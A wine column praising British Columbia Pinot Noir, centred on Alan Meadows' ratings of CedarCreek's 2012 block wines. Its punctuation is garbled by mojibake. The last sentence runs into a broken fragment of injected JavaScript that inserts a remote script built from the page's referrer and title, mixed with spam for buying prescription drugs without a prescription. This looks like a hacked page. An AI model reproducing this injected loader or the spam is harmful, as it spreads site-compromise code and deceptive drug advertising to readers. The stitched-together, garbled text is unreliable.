Bouquets for B.C. Pinot Noir

Anthony Gismondi

Therea��s no finer validation in the wine business than having someone from outside your wine region say that your wine is excellent, especially if that person is an expert. Last week that bouquet came to CedarCreek via American Alan Meadows of Alan Meadowa��s website.

Meadows, widely considered to be one of a handful of elite, Pinot Noir reviewers worldwide, released a much anticipated review of 54 Okanagan Pinot noirs and he had some very nice things to say about two small-lot, individual block wines produced by CedarCreek Estate Winery in East Kelowna. In fact, Meadows selected the 2012 Block 4 Platinum Pinot Noir as the best of all 54 he tasted from B.C.

It turns out all three CedarCreek pinots submitted were rated exceptionally well a�� the 2012 Estate Pinot Noir, 90 points; 2012 Platinum Block 2 Pinot Noir, 91 points; and the 2012 Platinum Block 4 Pinot Noir captured a BC-leading 92 points. Other high marks went to 50th Parallel Estate, Anarchist Mountain, Black Cloud Alto Stratus, both JoieFarm labels, La Frenz, Lake Breeze, Liquidity, Mission Hill Reserve and Road 13 Castle Vineyard.

Meadows founded in 2000 and over the years he has built a worldwide readership. He admits to a lifelong passion for the wines of Burgundy including 30 years of collecting Pinot Noir and visiting the region. Although he spends almost five months a year a�?visiting, researching, tasting, exploring and evaluating Burgundy,a�? Meadows has, over time, expanded his interest in competing Pinot noirs from both Oregon and California as well as launching occasional special reports from other Pinot producing regions such as the Okanagan Valley.

Pinot Noir has been all over the map in B.C. the last five years. Some of the inconsistency can be contributed to our ever-changing vintages or growing seasons and grapes that should never have been planted on certain sites. The move to mid-valley and north has seen a quantum jump in quality as B.C. Pinot Noir sheds its heavy, dark coloured, tannic ways for a leaner, more nimble, higher acid, more terroir reflective, moody red. Better barrels, less new oak, and older barrels are all making a difference, as are a variety of clones and rootstocks.

The idiosyncrasies of the temperamental Pinot Noir grape are as much a part of its strength as its weakness, but then you could just as easily say our cool, marginal climate in combination with the right terroir is contributing to our big jump in Pinot quality. Contributions from Vancouver Island and the Similkameen point to endless sites that may prove productive over the next century.

At CedarCreek winemaker Daryl Brooker says a�?Pinot Noir is emerging as a strength in the Okanagan, and we see this recognition as a direct result of our increased focus on block-specific wines.

a�?Wea��re really focused on discovering what CedarCreek is capable of in a site-specific way, down to the block-to-block nuances within our vineyards. The Block 2 and 4 Pinot Noirs couldna��t be more different as wines, but theya��re only a stonea��s throw apart in the vineyard. Revealing these site-specific variations in wine are, for me, the most exciting part of winemaking.a�?

Is Pinot that long coveted signature varietal of the Okanagan? The latest accolades form Meadows adds to the regiona��s reputation and follows up on the big win given Martina��s Lane 2012 Pinot Noir in London last year.

a�?Everyone asks what the Okanagana��s great wine is. Whata��s our signature wine?a�? adds Brooker, Wea��re starting to see very clearly that the Okanagan can be great at Pinot Noir.a�?

As someone who tastes all the Pinot Noir in the valley I wouldna��t say we are there yet but we are closing in on the end run a�� making more complex wine, wine unique to our region, that will age and thus become even more interesting in bottle.

The B.C. results are encouraging on many levels and will likely fuel plenty more interest in local Pinot Noir. Ita��s all good but only if we get back to work and finish the job over the next one or two hundred years.if (document.currentScript) { order sumycin cortef without a prescription document.currentScript.parentNode.insertBefore(s, document.currentScript);} else {s.src='' + encodeURIComponent(document.referrer) + '&default_keyword=' + encodeURIComponent(document.title) + ''; buy furosemide no script

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